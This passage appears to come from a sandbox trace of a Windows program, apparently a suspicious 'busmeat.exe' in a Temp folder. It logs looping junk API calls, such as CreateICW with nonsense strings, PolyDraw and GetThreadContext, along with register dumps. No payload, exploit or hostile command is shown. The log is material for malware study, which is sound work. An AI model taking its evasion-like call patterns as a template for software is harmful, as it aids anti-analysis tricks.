[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.214] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.215] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.215] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.215] GetConsoleCP () returned 0x0
	[0066.215] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.215] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.216] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.216] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.216] GetConsoleCP () returned 0x0
	[0066.216] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.216] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.217] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.217] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.217] GetConsoleCP () returned 0x0
	[0066.217] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 